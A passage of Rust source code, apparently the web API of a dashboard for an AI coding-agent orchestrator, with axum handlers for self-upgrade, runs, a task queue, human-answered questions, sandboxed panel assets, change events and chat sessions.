1885 to: None,
1886 parked: None,
1887 detail: "Already on the newest release. Nothing was parked \
1888 and nothing restarted."
1889 .to_owned(),
1890 }),
1891 ));
1892 };
1893
1894 let parked = ui.park_for_upgrade()?;
1897 let detail = match &parked {
1898 Some(run) => format!(
1903 "Run {} is parking at its next step, which can take as long as \
1904 the step it is on - up to an hour for an implement wave. The \
1905 deck replaces itself once it parks, comes back, and the loop \
1906 carries that run on from where it stopped. Nothing is lost if \
1907 you close this.",
1908 crate::run::short_of(run)
1909 ),
1910 None => "The deck replaces itself and comes back. Nothing was in \
1911 flight to park."
1912 .to_owned(),
1913 };
1914
1915 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1919 progress.parked_run = parked.clone();
1920 let _ = updater::write_progress(&ui.home, &progress);
1921
1922 let home = ui.home.clone();
1923 tokio::spawn(async move {
1924 if let Err(e) = upgrade_and_restart(home.clone()).await {
1925 tracing::error!("the upgrade did not complete: {e:#}");
1926 if let Some(mut progress) = updater::read_progress(&home) {
1927 progress.fail(format!("{e:#}"));
1928 let _ = updater::write_progress(&home, &progress);
1929 }
1930 }
1931 });
1932
1933 Ok((
1934 StatusCode::ACCEPTED,
1935 Json(UpgradeView {
1936 from,
1937 to: Some(latest.tag_name),
1938 parked,
1939 detail,
1940 }),
1941 ))
1942}
1943
1944async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1949 crate::updater::run_self_update(true, false, true).await?;
1952 tracing::info!("binary replaced - asking the server to hand over");
1953 if let Some(mut progress) = updater::read_progress(&home) {
1954 progress.advance(updater::Stage::Replaced);
1955 let _ = updater::write_progress(&home, &progress);
1956 }
1957 HANDOVER.notify_one();
1958 Ok(())
1959}
1960
1961#[derive(Debug, Serialize)]
1967struct RunSummary {
1968 id: String,
1969 short: String,
1970 status: String,
1971 done: bool,
1972 instruction: String,
1973 title: String,
1974 repo: String,
1975 repo_name: String,
1976 created_at: String,
1977 updated_at: String,
1978 candidates: usize,
1979 viable: usize,
1980 judges: usize,
1981 winner: Option<char>,
1982 reviews: usize,
1983 quota_losses: usize,
1984 event: Option<String>,
1985 superseded_by: Option<String>,
1990 waiting: bool,
1997 pr: Option<crate::run::PrRecord>,
1999}
2000
2001impl RunSummary {
2002 fn of(state: &RunState, waiting: bool) -> Self {
2003 Self {
2004 id: state.id.clone(),
2005 short: state.short().to_owned(),
2006 status: status_word(state.status),
2007 done: state.status.done(),
2008 instruction: state.instruction.clone(),
2009 title: title_from(&state.instruction, TITLE_MAX),
2010 repo: state.repo.display().to_string(),
2011 repo_name: state
2012 .repo
2013 .file_name()
2014 .map(|n| n.to_string_lossy().into_owned())
2015 .unwrap_or_default(),
2016 created_at: state.created_at.to_string(),
2017 updated_at: state.updated_at.to_string(),
2018 candidates: state.candidates.len(),
2019 viable: state.viable().len(),
2020 judges: state.config.graph.judges,
2021 winner: state.winner().map(|c| c.label),
2022 reviews: state.reviews.len(),
2023 quota_losses: state.quota.len(),
2024 event: state.events.last().map(|e| e.message.clone()),
2025 waiting,
2026 superseded_by: None,
2029 pr: state.pr.clone(),
2030 }
2031 }
2032}
2033
2034fn status_word(status: RunStatus) -> String {
2037 status.as_str().to_owned()
2041}
2042
2043#[derive(Debug, Deserialize)]
2045struct ListQuery {
2046 #[serde(default)]
2047 limit: Option<usize>,
2048}
2049
2050async fn runs_list(
2051 State(ui): State<Arc<Ui>>,
2052 Query(q): Query<ListQuery>,
2053) -> ApiResult<Json<Vec<RunSummary>>> {
2054 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2055 blocking(move || {
2056 let superseded = superseded_runs(&ui.queue);
2057 let summaries = run_ids(&ui.runs)
2058 .into_iter()
2059 .filter_map(|id| read_run(&ui.runs, &id).ok())
2064 .take(limit)
2065 .map(|state| {
2066 let waiting = !ui.questions.open_for(&state.id).is_empty();
2067 let by = superseded.get(&state.id).cloned();
2068 let mut row = RunSummary::of(&state, waiting);
2069 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2070 row
2071 })
2072 .collect();
2073 Ok(Json(summaries))
2074 })
2075 .await
2076}
2077
2078fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2091 let mut by = HashMap::new();
2092 for task in queue.list() {
2093 for pair in task.runs.windows(2) {
2094 if let [earlier, later] = pair {
2095 by.insert(earlier.clone(), later.clone());
2096 }
2097 }
2098 }
2099 by
2100}
2101
2102#[derive(Debug, Serialize)]
2109struct RunDetailView {
2110 #[serde(flatten)]
2111 state: RunState,
2112 instruction_md: Vec<md::Node>,
2113 live: bool,
2123}
2124
2125impl RunDetailView {
2126 fn of(state: RunState, live: bool) -> Self {
2127 Self {
2128 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2129 live,
2130 state,
2131 }
2132 }
2133}
2134
2135async fn run_detail(
2136 State(ui): State<Arc<Ui>>,
2137 Path(id): Path<String>,
2138) -> ApiResult<Json<RunDetailView>> {
2139 blocking(move || {
2140 let id = resolve_run(&ui.runs, &id)?;
2141 let state = read_run(&ui.runs, &id)?;
2142 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2143 Ok(Json(RunDetailView::of(state, live)))
2144 })
2145 .await
2146}
2147
2148async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2157 let (id, unreadable) = {
2158 let ui = Arc::clone(&ui);
2159 blocking(move || {
2160 let id = resolve_run(&ui.runs, &id)?;
2161 match read_run(&ui.runs, &id) {
2162 Ok(state) => {
2163 let in_flight =
2164 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2165 state
2166 .ensure_can_delete(in_flight)
2167 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2168 let dir = ui.runs.join(&id);
2169 std::fs::remove_dir_all(&dir)
2170 .with_context(|| format!("remove run directory {}", dir.display()))?;
2171 Ok((id, false))
2172 }
2173 Err(_) => {
2174 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2178 return Err(ApiError::conflict(format!(
2179 "run {id} is being worked on by a live daemon right now"
2180 )));
2181 }
2182 Ok((id, true))
2183 }
2184 }
2185 })
2186 .await?
2187 };
2188 if unreadable {
2189 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2190 .await
2191 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2192 }
2193 let ui = Arc::clone(&ui);
2194 let done = id.clone();
2195 blocking(move || {
2196 ui.questions.abandon_for_run(
2199 &done,
2200 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2201 )?;
2202 Ok(())
2203 })
2204 .await?;
2205 Ok(StatusCode::NO_CONTENT)
2206}
2207
2208async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2232 let (id, state) = {
2233 let ui = Arc::clone(&ui);
2234 blocking(move || {
2235 let id = resolve_run(&ui.runs, &id)?;
2236 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2237 return Err(ApiError::conflict(format!(
2238 "run {id} is being worked on by a live daemon right now"
2239 )));
2240 }
2241 let state = read_run(&ui.runs, &id).ok();
2242 Ok((id, state))
2243 })
2244 .await?
2245 };
2246 let removed = match state {
2247 Some(mut state) => crate::graph::fold_run(&mut state, true)
2248 .await
2249 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2250 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2251 .await
2252 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2253 };
2254 Ok(Json(FoldView {
2255 run: id,
2256 removed_count: removed.len(),
2257 removed,
2258 }))
2259}
2260
2261#[derive(Debug, Serialize)]
2263struct FoldView {
2264 run: String,
2265 removed: Vec<String>,
2267 removed_count: usize,
2268}
2269
2270async fn run_resume(
2290 State(ui): State<Arc<Ui>>,
2291 Path(id): Path<String>,
2292) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2293 let (id, state) = {
2294 let ui = Arc::clone(&ui);
2295 blocking(move || {
2296 let id = resolve_run(&ui.runs, &id)?;
2297 let state = read_run(&ui.runs, &id)?;
2298 Ok((id, state))
2299 })
2300 .await?
2301 };
2302 if !state.status.resumable() {
2303 return Err(ApiError::conflict(format!(
2304 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2305 state.short(),
2306 status_word(state.status)
2307 )));
2308 }
2309 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2314 .into_iter()
2315 .next()
2316 {
2317 return Err(ApiError::conflict(format!(
2318 "the loop is running run {} right now; stop it first, or wait for \
2319 it to finish, before resuming a run by hand.",
2320 crate::run::short_of(&work.run)
2321 )));
2322 }
2323 let _resume = ui.begin_resume(&id)?;
2324
2325 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2328 let run = id.clone();
2329 tokio::spawn(async move {
2330 let _resume = _resume;
2331 match crate::graph::Runner::resume(&run) {
2332 Ok(mut runner) => {
2333 if let Err(e) = runner.execute().await {
2334 tracing::warn!("resume of run {run} stopped: {e:#}");
2335 }
2336 }
2337 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2340 }
2341 });
2342 Ok((StatusCode::ACCEPTED, Json(queued)))
2343}
2344
2345async fn run_report(
2346 State(ui): State<Arc<Ui>>,
2347 Path(id): Path<String>,
2348) -> ApiResult<impl IntoResponse> {
2349 let text = blocking(move || {
2350 let id = resolve_run(&ui.runs, &id)?;
2351 let state = read_run(&ui.runs, &id)?;
2355 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2356 Ok(format!(
2357 "{}{}",
2358 report::run(&state),
2359 report::active_seats(&state, live)
2360 ))
2361 })
2362 .await?;
2363 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2364}
2365
2366#[derive(Debug, Serialize)]
2372struct TaskView {
2373 #[serde(flatten)]
2374 task: Task,
2375 source_label: String,
2376 status_str: &'static str,
2377 instruction_md: Vec<md::Node>,
2381}
2382
2383impl From<Task> for TaskView {
2384 fn from(task: Task) -> Self {
2385 Self {
2386 source_label: task.source.label(),
2387 status_str: task.status.as_str(),
2388 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2389 task,
2390 }
2391 }
2392}
2393
2394#[derive(Debug, Default, Deserialize)]
2397#[serde(default)]
2398struct ReposQuery {
2399 refresh: u8,
2400}
2401
2402async fn repos_list(
2409 State(ui): State<Arc<Ui>>,
2410 Query(q): Query<ReposQuery>,
2411) -> ApiResult<Json<Vec<repos::Repo>>> {
2412 let refresh = q.refresh != 0;
2413 blocking(move || {
2414 let (cfg, _) = Config::discover(&ui.repo, None)?;
2415 Ok(Json(ui.repos_cache.list(
2416 &cfg.repos.roots,
2417 Duration::from_secs(cfg.repos.scan_ttl),
2418 refresh,
2419 )))
2420 })
2421 .await
2422}
2423
2424async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2425 blocking(move || {
2426 Ok(Json(
2427 ui.queue.list().into_iter().map(TaskView::from).collect(),
2428 ))
2429 })
2430 .await
2431}
2432
2433#[derive(Debug, Default, Deserialize)]
2436#[serde(default, deny_unknown_fields)]
2437struct HoldBody {
2438 reason: Option<String>,
2439}
2440
2441async fn queue_hold(
2442 State(ui): State<Arc<Ui>>,
2443 Path(id): Path<String>,
2444 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2445) -> ApiResult<Json<TaskView>> {
2446 let body = match body {
2450 Ok(Json(body)) => body,
2451 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2452 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2453 };
2454 let reason = body.reason.filter(|r| !r.trim().is_empty());
2455 mutate(ui, id, move |t| {
2456 t.hold(reason.clone());
2457 Ok(())
2458 })
2459 .await
2460}
2461
2462async fn queue_release(
2463 State(ui): State<Arc<Ui>>,
2464 Path(id): Path<String>,
2465) -> ApiResult<Json<TaskView>> {
2466 mutate(ui, id, |t| {
2467 t.release();
2468 Ok(())
2469 })
2470 .await
2471}
2472
2473#[derive(Debug, Deserialize)]
2475#[serde(deny_unknown_fields)]
2476struct PriorityBody {
2477 priority: i32,
2478}
2479
2480async fn queue_priority(
2486 State(ui): State<Arc<Ui>>,
2487 Path(id): Path<String>,
2488 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2489) -> ApiResult<Json<TaskView>> {
2490 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2491 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2492}
2493
2494#[derive(Debug, Deserialize)]
2496#[serde(deny_unknown_fields)]
2497struct EditBody {
2498 title: String,
2499 instruction: String,
2500}
2501
2502async fn queue_edit(
2506 State(ui): State<Arc<Ui>>,
2507 Path(id): Path<String>,
2508 body: std::result::Result<Json<EditBody>, JsonRejection>,
2509) -> ApiResult<Json<TaskView>> {
2510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2511 mutate(ui, id, move |t| {
2512 t.edit(body.title.clone(), body.instruction.clone())
2513 })
2514 .await
2515}
2516
2517async fn queue_done(
2525 State(ui): State<Arc<Ui>>,
2526 Path(id): Path<String>,
2527) -> ApiResult<Json<TaskView>> {
2528 mutate(ui, id, |t| {
2529 t.succeed();
2530 Ok(())
2531 })
2532 .await
2533}
2534
2535async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2543 blocking(move || {
2544 let id = resolve_task(&ui.queue, &id)?;
2545 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2546 ui.queue
2547 .remove(&id, in_flight)
2548 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2549 Ok(StatusCode::NO_CONTENT)
2550 })
2551 .await
2552}
2553
2554async fn mutate(
2563 ui: Arc<Ui>,
2564 id: String,
2565 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2566) -> ApiResult<Json<TaskView>> {
2567 blocking(move || {
2568 let id = resolve_task(&ui.queue, &id)?;
2569 let _claim = ui.queue.claim(&id).map_err(|e| {
2574 ApiError::conflict(format!(
2575 "{e:#} - a daemon is running this task, so it cannot be \
2576 changed from here yet"
2577 ))
2578 })?;
2579 let mut task = ui.queue.get(&id)?;
2580 change(&mut task).map_err(ApiError::bad_request_from)?;
2581 ui.queue.put(&mut task)?;
2582 Ok(Json(TaskView::from(task)))
2583 })
2584 .await
2585}
2586
2587async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2595 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2596 tokio::spawn(async move {
2597 let mut ticker = tokio::time::interval(POLL);
2598 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2599 loop {
2600 ticker.tick().await;
2603 let state = Arc::clone(&ui);
2604 let revisions = tokio::task::spawn_blocking(move || {
2605 (
2606 state.queue.revision(),
2607 runs_revision(&state.runs),
2608 state.questions.revision(),
2609 state.talks.revision(),
2610 state.lock_loop().rev,
2614 )
2615 })
2616 .await;
2617 let Ok(revisions) = revisions else { break };
2618 if last == Some(revisions) {
2619 continue;
2620 }
2621 last = Some(revisions);
2622 let payload = serde_json::json!({
2623 "queue_rev": revisions.0,
2624 "runs_rev": revisions.1,
2625 "questions_rev": revisions.2,
2626 "talks_rev": revisions.3,
2627 "loop_rev": revisions.4,
2628 });
2629 let Ok(event) = Event::default().event("change").json_data(payload) else {
2631 break;
2632 };
2633 if tx.send(event).await.is_err() {
2634 break;
2635 }
2636 }
2637 });
2638 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2639 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2640}
2641
2642fn runs_revision(runs: &FsPath) -> u64 {
2649 use std::hash::{Hash as _, Hasher as _};
2650
2651 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2652 .into_iter()
2653 .flatten()
2654 .flatten()
2655 .filter_map(|e| {
2656 let path = e.path().join("run.json");
2657 let mtime = path
2658 .metadata()
2659 .ok()?
2660 .modified()
2661 .ok()?
2662 .duration_since(std::time::UNIX_EPOCH)
2663 .ok()?
2664 .as_millis() as u64;
2665 let id = e.file_name().to_string_lossy().into_owned();
2666 Some((id, mtime))
2667 })
2668 .collect();
2669
2670 if entries.is_empty() {
2671 return 0;
2672 }
2673
2674 entries.sort_unstable();
2675 let mut hasher = std::hash::DefaultHasher::new();
2676 for (id, mtime) in &entries {
2677 id.hash(&mut hasher);
2678 mtime.hash(&mut hasher);
2679 }
2680 let h = hasher.finish();
2681 if h == 0 { 1 } else { h }
2682}
2683
2684fn run_ids(runs: &FsPath) -> Vec<String> {
2690 let mut ids: Vec<String> = std::fs::read_dir(runs)
2691 .into_iter()
2692 .flatten()
2693 .flatten()
2694 .filter(|e| e.path().join("run.json").is_file())
2695 .map(|e| e.file_name().to_string_lossy().into_owned())
2696 .collect();
2697 ids.sort_unstable_by(|a, b| b.cmp(a));
2699 ids
2700}
2701
2702fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2704 let path = runs.join(id).join("run.json");
2705 let body =
2706 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2707 let state: RunState =
2708 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2709 if state.schema != run::SCHEMA {
2710 anyhow::bail!(
2711 "run {} was written by a different magi (schema {}, this build speaks {})",
2712 state.id,
2713 state.schema,
2714 run::SCHEMA
2715 );
2716 }
2717 Ok(state)
2718}
2719
2720#[must_use]
2728pub fn runs_unreadable(runs: &FsPath) -> usize {
2729 run_ids(runs)
2730 .into_iter()
2731 .filter(|id| read_run(runs, id).is_err())
2732 .count()
2733}
2734
2735fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2737 if runs.join(id).join("run.json").is_file() {
2738 return Ok(id.to_owned());
2739 }
2740 pick(run_ids(runs), id, "run")
2741}
2742
2743fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2745 if queue.path_of(id).is_file() {
2746 return Ok(id.to_owned());
2747 }
2748 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2749}
2750
2751#[derive(Debug, Serialize)]
2762struct QuestionView {
2763 #[serde(flatten)]
2764 question: Question,
2765 detail_md: Vec<md::Node>,
2766 waiting_on_agent: bool,
2776}
2777
2778impl From<Question> for QuestionView {
2779 fn from(question: Question) -> Self {
2780 let base = md::ImageBase::QuestionPanel {
2781 id: question.id.clone(),
2782 };
2783 Self {
2784 detail_md: md::to_nodes(&question.detail, &base),
2785 waiting_on_agent: question.waiting_on_agent(),
2786 question,
2787 }
2788 }
2789}
2790
2791async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2797 blocking(move || {
2798 Ok(Json(
2799 ui.questions
2800 .list()
2801 .into_iter()
2802 .map(QuestionView::from)
2803 .collect(),
2804 ))
2805 })
2806 .await
2807}
2808
2809#[derive(Debug, Default, Deserialize)]
2815#[serde(default, deny_unknown_fields)]
2816struct NewAnswer {
2817 choice: Option<String>,
2818 text: Option<String>,
2819}
2820
2821async fn question_answer(
2822 State(ui): State<Arc<Ui>>,
2823 Path(id): Path<String>,
2824 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2825) -> ApiResult<Json<QuestionView>> {
2826 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2827 let answer = match (body.choice, body.text) {
2828 (Some(c), None) => Answer::Choice(c),
2829 (None, Some(t)) => Answer::Text(t),
2830 (Some(_), Some(_)) => {
2831 return Err(ApiError::bad_request(
2832 "send either `choice` or `text`, not both",
2833 ));
2834 }
2835 (None, None) => {
2836 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2837 }
2838 };
2839
2840 blocking(move || {
2841 let id = resolve_question(&ui.questions, &id)?;
2842 let mut q = ui
2843 .questions
2844 .get(&id)
2845 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2846 if !q.status.open() {
2847 return Err(ApiError::conflict(format!(
2851 "question {} is already {}",
2852 q.short(),
2853 q.status.as_str()
2854 )));
2855 }
2856 q.answer(answer).map_err(ApiError::bad_request_from)?;
2860 ui.questions.put(&mut q)?;
2861 Ok(Json(QuestionView::from(q)))
2862 })
2863 .await
2864}
2865
2866#[derive(Debug, Deserialize)]
2868#[serde(deny_unknown_fields)]
2869struct NewSay {
2870 body: String,
2871}
2872
2873async fn question_say(
2883 State(ui): State<Arc<Ui>>,
2884 Path(id): Path<String>,
2885 body: std::result::Result<Json<NewSay>, JsonRejection>,
2886) -> ApiResult<Json<QuestionView>> {
2887 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2888 blocking(move || {
2889 let id = resolve_question(&ui.questions, &id)?;
2890 let mut q = ui
2891 .questions
2892 .get(&id)
2893 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2894 if !q.status.open() {
2895 return Err(ApiError::conflict(format!(
2899 "question {} is already {}",
2900 q.short(),
2901 q.status.as_str()
2902 )));
2903 }
2904 q.say(body.body).map_err(ApiError::bad_request_from)?;
2907 ui.questions.put(&mut q)?;
2908 Ok(Json(QuestionView::from(q)))
2909 })
2910 .await
2911}
2912
2913fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2915 if store.path_of(id).is_file() {
2916 return Ok(id.to_owned());
2917 }
2918 pick(
2919 store.list().into_iter().map(|q| q.id).collect(),
2920 id,
2921 "question",
2922 )
2923}
2924
2925async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2940 blocking(move || {
2941 let id = resolve_question(&ui.questions, &id)?;
2942 let Some(html) = ui.questions.panel_html(&id) else {
2943 return Err(ApiError::not_found(format!("question {id} has no panel")));
2944 };
2945 Ok(panel_response(
2946 "text/html; charset=utf-8",
2947 false,
2948 html.into_bytes(),
2949 ))
2950 })
2951 .await
2952}
2953
2954async fn question_asset(
2982 State(ui): State<Arc<Ui>>,
2983 Path((id, name)): Path<(String, String)>,
2984) -> ApiResult<Response> {
2985 if !crate::ask::valid_asset_name(&name) {
2988 return Err(ApiError::bad_request(format!(
2989 "`{name}` is not a usable asset name"
2990 )));
2991 }
2992 blocking(move || {
2993 let id = resolve_question(&ui.questions, &id)?;
2994 let asset = ui
2995 .questions
2996 .panel_asset(&id, &name)
2997 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2998 let Some(bytes) = asset else {
2999 return Err(ApiError::not_found(format!(
3000 "question {id} has no asset `{name}`"
3001 )));
3002 };
3003 Ok(panel_response(
3004 asset_content_type(&name),
3005 is_svg(&name),
3006 bytes,
3007 ))
3008 })
3009 .await
3010}
3011
3012fn asset_content_type(name: &str) -> &'static str {
3025 match extension(name).as_deref() {
3026 Some("png") => "image/png",
3027 Some("jpg" | "jpeg") => "image/jpeg",
3028 Some("gif") => "image/gif",
3029 Some("webp") => "image/webp",
3030 Some("svg") => "image/svg+xml",
3031 Some("css") => "text/css; charset=utf-8",
3032 Some("txt") => "text/plain; charset=utf-8",
3033 _ => "application/octet-stream",
3034 }
3035}
3036
3037fn is_svg(name: &str) -> bool {
3040 extension(name).as_deref() == Some("svg")
3041}
3042
3043fn extension(name: &str) -> Option<String> {
3045 name.rsplit_once('.')
3046 .map(|(_, ext)| ext.to_ascii_lowercase())
3047}
3048
3049fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3066 let mut res = (
3067 [
3068 (header::CONTENT_TYPE, content_type),
3069 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3070 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3071 (header::REFERRER_POLICY, "no-referrer"),
3072 ],
3073 body,
3074 )
3075 .into_response();
3076 if download {
3077 res.headers_mut().insert(
3078 header::CONTENT_DISPOSITION,
3079 HeaderValue::from_static("attachment"),
3080 );
3081 }
3082 res
3083}
3084
3085#[derive(Debug, Serialize)]
3091struct TalkView {
3092 #[serde(flatten)]
3093 talk: Talk,
3094 turn_bodies_md: Vec<Vec<md::Node>>,
3095}
3096
3097impl From<Talk> for TalkView {
3098 fn from(talk: Talk) -> Self {
3099 let turn_bodies_md = talk
3100 .turns
3101 .iter()
3102 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3103 .collect();
3104 Self {
3105 turn_bodies_md,
3106 talk,
3107 }
3108 }
3109}
3110
3111#[derive(Debug, Serialize)]
3116struct TalkDetailView {
3117 #[serde(flatten)]
3118 view: TalkView,
3119 tasks: Vec<TaskView>,
3120}
3121
3122async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3127 blocking(move || {
3128 Ok(Json(
3129 ui.talks.list().into_iter().map(TalkView::from).collect(),
3130 ))
3131 })
3132 .await
3133}
3134
3135#[derive(Debug, Default, Deserialize)]
3140#[serde(default)]
3141struct NewTalk {
3142 agent: Option<String>,
3143 repo: Option<PathBuf>,
3144}
3145
3146async fn talk_post(
3149 State(ui): State<Arc<Ui>>,
3150 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3151) -> ApiResult<impl IntoResponse> {
3152 let body = match body {
3156 Ok(Json(body)) => body,
3157 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3158 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3159 };
3160 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3161 let cfg = config_for(&repo).await?;
3162 let view = blocking(move || {
3163 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3164 Ok(TalkView::from(talk))
3165 })
3166 .await?;
3167 Ok((StatusCode::CREATED, Json(view)))
3168}
3169
3170async fn talk_detail(
3172 State(ui): State<Arc<Ui>>,
3173 Path(id): Path<String>,
3174) -> ApiResult<Json<TalkDetailView>> {
3175 blocking(move || {
3176 let id = resolve_talk(&ui.talks, &id)?;
3177 let talk = ui.talks.get(&id)?;
3178 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3179 .into_iter()
3180 .map(TaskView::from)
3181 .collect();
3182 Ok(Json(TalkDetailView {
3183 view: TalkView::from(talk),
3184 tasks,
3185 }))
3186 })
3187 .await
3188}
3189
3190#[derive(Debug, Default, Deserialize)]
3196#[serde(default, deny_unknown_fields)]
3197struct NewTalkTurn {
3198 text: String,
3199 attachments: Vec<String>,
3200}
3201
3202async fn talk_say(
3214 State(ui): State<Arc<Ui>>,
3215 Path(id): Path<String>,
3216 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3217) -> ApiResult<(StatusCode, Json<TalkView>)> {
3218 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3219 if body.text.trim().is_empty() && body.attachments.is_empty() {
3220 return Err(ApiError::bad_request("say something"));
3221 }
3222
3223 let id = {
3224 let ui = Arc::clone(&ui);
3225 let asked = id.clone();
3226 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3227 };
3228 let _turn = ui.begin_talk_turn(&id)?;
3232
3233 let (talk, cfg) = {
3234 let ui = Arc::clone(&ui);
3235 let id = id.clone();
3236 blocking(move || {
3237 let talk = ui.talks.get(&id)?;
3238 let (cfg, _) = Config::discover(&talk.repo, None)?;
3239 Ok((talk, cfg))
3240 })
3241 .await?
3242 };
3243
3244 let attachments = {
3248 let ui = Arc::clone(&ui);
3249 let id = id.clone();
3250 let ids = body.attachments.clone();
3251 blocking(move || {
3252 ids.into_iter()
3253 .map(|att_id| {
3254 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3255 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3256 })
3257 })
3258 .collect::<ApiResult<Vec<talk::Attachment>>>()
3259 })
3260 .await?
3261 };
3262
3263 let talks = ui.talks.clone();
3264 let text = {
3265 let mut talk = talk.clone();
3266 let talks = talks.clone();
3267 let said = body.text.clone();
3268 blocking(move || Ok(talk::record(&mut talk, &talks, &said, attachments)?)).await?
3269 };
3270 let talk = {
3273 let ui = Arc::clone(&ui);
3274 let id = id.clone();
3275 blocking(move || Ok(ui.talks.get(&id)?)).await?
3276 };
3277 let queued = talk.clone();
3278 tokio::spawn(async move {
3279 let _turn = _turn;
3280 let mut talk = talk;
3281 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3282 tracing::warn!("talk {id} turn failed: {e:#}");
3285 }
3286 });
3287
3288 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3290}
3291
3292async fn talk_close(
3294 State(ui): State<Arc<Ui>>,
3295 Path(id): Path<String>,
3296) -> ApiResult<Json<TalkView>> {
3297 blocking(move || {
3298 let id = resolve_talk(&ui.talks, &id)?;
3299 let mut talk = ui.talks.get(&id)?;
3300 talk::close(&mut talk, &ui.talks)?;
3301 Ok(Json(TalkView::from(talk)))
3302 })
3303 .await
3304}
3305
3306async fn talk_reopen(
3308 State(ui): State<Arc<Ui>>,
3309 Path(id): Path<String>,
3310) -> ApiResult<Json<TalkView>> {
3311 blocking(move || {
3312 let id = resolve_talk(&ui.talks, &id)?;
3313 let mut talk = ui.talks.get(&id)?;
3314 talk::reopen(&mut talk, &ui.talks)?;
3315 Ok(Json(TalkView::from(talk)))
3316 })
3317 .await
3318}
3319
3320async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3330 blocking(move || {
3331 let id = resolve_talk(&ui.talks, &id)?;
3332 ui.talks.remove(&id)?;
3333 Ok(StatusCode::NO_CONTENT)
3334 })
3335 .await
3336}
3337
3338fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
